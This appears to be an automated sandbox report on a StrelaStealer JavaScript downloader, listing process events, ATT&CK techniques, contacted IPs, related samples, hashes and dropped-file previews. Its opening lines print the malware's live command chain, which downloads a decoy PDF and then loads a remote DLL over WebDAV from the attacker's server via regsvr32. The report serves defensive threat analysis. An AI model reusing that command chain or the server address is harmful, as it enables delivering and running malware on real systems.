Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\580246788750.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\580246788750.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
2148023713578731850.js	4%	Virustotal		Browse
2148023713578731850.js	5%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/d	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/gH	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205:8888/tem	net.exe, 00000006.00000002.1838413181.000001CDBE908000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/Prod.C:	edb.log.8.dr	false		high
http://193.143.1.205:8888/gH	net.exe, 00000006.00000003.1829472091.000001CDBE93B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1838811152.000001CDBE93B000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://crl.ver)	svchost.exe, 00000008.00000002.3046774182.0000025D5C00F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.7.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	edb.log.8.dr	false		high
http://193.143.1.205:8888/d	net.exe, 00000006.00000003.1829472091.000001CDBE93B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1838811152.000001CDBE93B000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV2	edb.log.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96	svchost.exe, 00000008.00000003.1837176287.0000025D5C2C2000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000006.00000003.1829200474.000001CDBE95A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1838413181.000001CDBE908000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1829472091.000001CDBE93B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1838811152.000001CDBE93B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	svchost.exe, 00000008.00000003.1837176287.0000025D5C2C2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588671
Start date and time:	2025-01-11 03:58:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 4s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	2148023713578731850.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/58@2/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 2.16.168.107, 2.16.168.105, 34.237.241.83, 18.213.11.84, 50.16.47.176, 54.224.241.105, 162.159.61.3, 172.64.41.3, 184.28.90.27, 23.209.209.135, 23.200.0.173, 23.200.0.209, 23.200.0.176, 23.200.0.206, 23.200.0.177, 23.200.0.186, 4.175.87.197, 23.56.162.204, 13.107.246.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, a122.dscd.akamai.net, e16604.g.akamaiedge.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
21:59:10	API Interceptor	20x Sleep call for process: powershell.exe modified
21:59:14	API Interceptor	1x Sleep call for process: net.exe modified
21:59:14	API Interceptor	2x Sleep call for process: svchost.exe modified
21:59:27	API Interceptor	1x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	5433178601194710641.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	200475024256003612.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	31068282522384212209.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	22951172482589918451.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	12524190021110725310.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2151829461519612017.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	15943270342346830855.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	10076292573176921778.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1637664207127019.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	221165125265292179.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	72382724245064961.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	5433178601194710641.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	200475024256003612.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2322331617238881677.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	31068282522384212209.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	652114013130199968.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	22951172482589918451.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	12524190021110725310.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3462260851125011899.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2151829461519612017.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.3073629007891567
Encrypted:	false
SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvrQ:KooCEYhgYEL0In
MD5:	B8C570F2D9DAC757F6A8B3632D57BB06
SHA1:	F1091E2516D8462F8BD2217324BAF0ED4A1A37E5
SHA-256:	A521D6BF368DA7469D4720B10965EDA9EF11DA165A428D2209072175126EBF8D
SHA-512:	29E37ECFE71975BAB7E67389AD25C0B2E47147A4015BD0BD646DAF968FD7670B730E4D7B8717E43BBC21800F0A850B667EB0642B396C6FD216141044CB753EF6
Malicious:	false
Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xca5c25c2, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.42213842983570793
Encrypted:	false
SSDEEP:	1536:5SB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1kI6:5aza/vMUM2Uvz7DO
MD5:	3DBB46A19194A5C0E651CE8E19C7A367
SHA1:	0C5DE2AE7E6F9A198E5AAC1C09EB0E8E1CA421CA
SHA-256:	60408B90718C22A0605A52FB9442A09C5431AD46547B4ADB1D27452EF370D735
SHA-512:	28EC410F679104E514ACA30FEF76C3B151112A54CB8A8814CDCE48FFD4E68690746BB45AEBAD15DE5B7B2E831723219ED46858D86E241B20E08F6FEDD7D88803
Malicious:	false
Preview:	.\%.... .......A.......X\...;...{......................0.!..........{A..;...}7.h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{.......................................;...}..................$.P..;...}7..........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07680222831681127
Encrypted:	false
SSDEEP:	3:QF/KYed1fjn13a/Mo9uRCollcVO/lnlZMxZNQl:QF/Kzd1f53qMo9MfOewk
MD5:	74F3D2D9E491F539B3EC4E6A4932D38C
SHA1:	5C3279DA990BFF980690639BF9827751172444C4
SHA-256:	738F4BCA3322D457FC5693D2F8BDA4FC1D60403B91F3EC72BB450550268DE720
SHA-512:	B9E7A7E50417A00D9CB1933D97A9A58EE4FC96FFD297D342053949B551DA8250AE5233CE01FB88DA1AF77FD862E0978C1AB2EB500E1C31C27F71318EB9A93AF9
Malicious:	false
Preview:	.........................................;...{...;...}7......{A..............{A......{A..........{A]................$.P..;...}7.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.244971031767823
Encrypted:	false
SSDEEP:	6:iO4q7tSSff3+q2Pwkn2nKuAl9OmbnIFUtSq7tS7Zmwsq7tSTvVNVkwOwkn2nKuAR:7GGOvYfHAahFUtY7/aTNz5JfHAaSJ
MD5:	4A2F353C561674A92CB1F8BFAA5EDA05
SHA1:	144E57F12A9848B88D9AD3CE72AC722B76292E56
SHA-256:	DAC5B032568C6DCEEBF4A059C2FE01623533A489DF74ADECB3E9E8A5D9AC9B4A
SHA-512:	89B71FFC9F31D9EFB56A6290C1FD35627D0CBC647F71399629102228164EBF427801AB7C6CBDFAE26F3FA1892B11BBD60243F106CC912817C519360F861A180E
Malicious:	false
Preview:	2025/01/10-21:59:14.756 1c88 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-21:59:14.759 1c88 Recovering log #3.2025/01/10-21:59:14.760 1c88 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.244971031767823
Encrypted:	false
SSDEEP:	6:iO4q7tSSff3+q2Pwkn2nKuAl9OmbnIFUtSq7tS7Zmwsq7tSTvVNVkwOwkn2nKuAR:7GGOvYfHAahFUtY7/aTNz5JfHAaSJ
MD5:	4A2F353C561674A92CB1F8BFAA5EDA05
SHA1:	144E57F12A9848B88D9AD3CE72AC722B76292E56
SHA-256:	DAC5B032568C6DCEEBF4A059C2FE01623533A489DF74ADECB3E9E8A5D9AC9B4A
SHA-512:	89B71FFC9F31D9EFB56A6290C1FD35627D0CBC647F71399629102228164EBF427801AB7C6CBDFAE26F3FA1892B11BBD60243F106CC912817C519360F861A180E
Malicious:	false
Preview:	2025/01/10-21:59:14.756 1c88 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-21:59:14.759 1c88 Recovering log #3.2025/01/10-21:59:14.760 1c88 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.171523652338372
Encrypted:	false
SSDEEP:	6:iO4q7tvq2Pwkn2nKuAl9Ombzo2jMGIFUtSq7to/ZZmwsq7ttkwOwkn2nKuAl9OmT:7rvYfHAa8uFUtyx/V5JfHAa8RJ
MD5:	9E177D69174AF32978296A66405FCD8F
SHA1:	9225ADB4E4E9FE4F2AFACA5AC0773A0E56EA4D4D
SHA-256:	F976D96DECE4577CAF920EE0770AA97772935EC29FC67C1FF962FAF535E00790
SHA-512:	EB9B0A30CAFA7F5DB268CFB63C3DAA34517B669B6EFBCC27685B2200567FC81A346DB0C1857BF923667E4A39ABC8E439D6DF98529813D992752FC5B9FF3721D5
Malicious:	false
Preview:	2025/01/10-21:59:14.846 1ce0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-21:59:14.848 1ce0 Recovering log #3.2025/01/10-21:59:14.849 1ce0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.171523652338372
Encrypted:	false
SSDEEP:	6:iO4q7tvq2Pwkn2nKuAl9Ombzo2jMGIFUtSq7to/ZZmwsq7ttkwOwkn2nKuAl9OmT:7rvYfHAa8uFUtyx/V5JfHAa8RJ
MD5:	9E177D69174AF32978296A66405FCD8F
SHA1:	9225ADB4E4E9FE4F2AFACA5AC0773A0E56EA4D4D
SHA-256:	F976D96DECE4577CAF920EE0770AA97772935EC29FC67C1FF962FAF535E00790
SHA-512:	EB9B0A30CAFA7F5DB268CFB63C3DAA34517B669B6EFBCC27685B2200567FC81A346DB0C1857BF923667E4A39ABC8E439D6DF98529813D992752FC5B9FF3721D5
Malicious:	false
Preview:	2025/01/10-21:59:14.846 1ce0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-21:59:14.848 1ce0 Recovering log #3.2025/01/10-21:59:14.849 1ce0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\281e9bf4-a069-425d-9201-deb1ecab39f1.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.97063671378777
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqntSsBdOg2HoAcaq3QYiubInP7E4T3y:Y2sRdsMdMHor3QYhbG7nby
MD5:	844E1CE9A4DDF5D830AD1C7B2A1FBEEC
SHA1:	579F3ED3213B8E0BE8E9ADB65765BFEFA8689A7E
SHA-256:	4205BD81CCC8FA8AE3DC2851539215890AB896F1D039F418D28584DEF7548736
SHA-512:	9DA7137205141F0C2DB01A28F578CF0B91D4EC7870B892F6A789D5A49129983D3FD47796913E8BC4905ED8EF3916F3EDF652077D6B29940ED5EE7D898F764754
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381124366799979","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":124200},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.97063671378777
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqntSsBdOg2HoAcaq3QYiubInP7E4T3y:Y2sRdsMdMHor3QYhbG7nby
MD5:	844E1CE9A4DDF5D830AD1C7B2A1FBEEC
SHA1:	579F3ED3213B8E0BE8E9ADB65765BFEFA8689A7E
SHA-256:	4205BD81CCC8FA8AE3DC2851539215890AB896F1D039F418D28584DEF7548736
SHA-512:	9DA7137205141F0C2DB01A28F578CF0B91D4EC7870B892F6A789D5A49129983D3FD47796913E8BC4905ED8EF3916F3EDF652077D6B29940ED5EE7D898F764754
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381124366799979","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":124200},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4320
Entropy (8bit):	5.263155729395465
Encrypted:	false
SSDEEP:	96:etJCV4FAsszrNamjTN/2rjYMta02fDtehgO7BtTgo7iMiAzG+:etJCV4FiN/jTN/2r8Mta02fEhgO73go5
MD5:	616A0152FC356630280FBC233CFCF03A
SHA1:	81FFD270D3D6E0D53231A778195CFD49668B4015
SHA-256:	86CAD7680E20E006F1919A7E1362B2F31917F18D10AC839D3D2DE68646A47B0A
SHA-512:	12BA02BAC42F1CCAA4797F66CBE192CFDF6AC16B8A326A2E461C0F11E2DCBB6D52A2AC1F7E93C4320C07AB8147964E26236666AC83BA367A45345F4DFF502690
Malicious:	false
Preview:	*...#................version.1..namespace-['O.o................next-map-id.1.Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/.0>...r................next-map-id.2.Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/.1O..r................next-map-id.3.Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/.2.\.o................next-map-id.4.Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/.3....^...............Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/..\|.^...............Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/n..Fa...............Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/DQ..a...............Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/i.`do................next-map-id.5.Pnamespace-de635bf2_6773_4d83_ad16_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.112585420761107
Encrypted:	false
SSDEEP:	6:iO4q7yGhq2Pwkn2nKuAl9OmbzNMxIFUtSq7nFZZmwsq7kGckwOwkn2nKuAl9Ombg:7cGhvYfHAa8jFUtPFZ/ur5JfHAa84J
MD5:	F20934FCF27F84FA1F98285506597C54
SHA1:	CA40E64D8AEDE4E4B22DA820C98E6A19313E8120
SHA-256:	5597F122F8561B2D1D3A311554CFE6C1DAB59C88C7493F12E75D6976732C4F5D
SHA-512:	B09BB62A505120CD72616418A3600943FC128567187B7F194C1CAD8889FFA0D17B40536DFC2ACCBAD04380E3CC88CB40FB152BDC524BD696462BB5C67EE570D6
Malicious:	false
Preview:	2025/01/10-21:59:15.320 1ce0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-21:59:15.323 1ce0 Recovering log #3.2025/01/10-21:59:15.326 1ce0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.112585420761107
Encrypted:	false
SSDEEP:	6:iO4q7yGhq2Pwkn2nKuAl9OmbzNMxIFUtSq7nFZZmwsq7kGckwOwkn2nKuAl9Ombg:7cGhvYfHAa8jFUtPFZ/ur5JfHAa84J
MD5:	F20934FCF27F84FA1F98285506597C54
SHA1:	CA40E64D8AEDE4E4B22DA820C98E6A19313E8120
SHA-256:	5597F122F8561B2D1D3A311554CFE6C1DAB59C88C7493F12E75D6976732C4F5D
SHA-512:	B09BB62A505120CD72616418A3600943FC128567187B7F194C1CAD8889FFA0D17B40536DFC2ACCBAD04380E3CC88CB40FB152BDC524BD696462BB5C67EE570D6
Malicious:	false
Preview:	2025/01/10-21:59:15.320 1ce0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-21:59:15.323 1ce0 Recovering log #3.2025/01/10-21:59:15.326 1ce0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 16, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 16
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.444887644903917
Encrypted:	false
SSDEEP:	384:CeZci5t+iBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:FRs3OazzU89UTTgUL
MD5:	BD9B3F343C082C7879F988AC0CADF3BE
SHA1:	EC3537C0DAE14A2EDEE104B51DBE8BC04DE4051E
SHA-256:	57A6D1AB71BC32A4E9CA07AF62012D0681B6F9C1A82C2B2DD6F379FA6639B3A9
SHA-512:	5CBFA3A4F7B5D1AF1FED80F20E825AA6825453BFDBD0BFFC4EAB9C8E9D89497C3FDB8433CB55C03E1A795E84C91138341815BF443E964B2EFE40F50A7CF711D9
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	2.2133445589184557
Encrypted:	false
SSDEEP:	24:7+tPgmnuwKlqL7zkrFsgIFsxX3pALXmnHpkDGjmcxBSkomXk+2m9RFTsyg+wmf9O:7MPRnClq/mFTIF3XmHjBoGGR+jMz+Lhw
MD5:	160D23EC31AD89DA55BC927ADF45EEB1
SHA1:	374DAC000DC20E7104458F6DF1B68C8817B0B043
SHA-256:	4D615B5B2D95A40EEE1A2E10DA30EBDEFBB0F1E71AC157729ADCC2693FF2A47D
SHA-512:	565144402837D0B34B967AEB40690A3AA69F4EC0CDF4569A417967DFD0419EF83463158EEEB9E1EF2EF0608D239C1AEAA2FE5A28322D357E14A0B8A18574DDCB
Malicious:	false
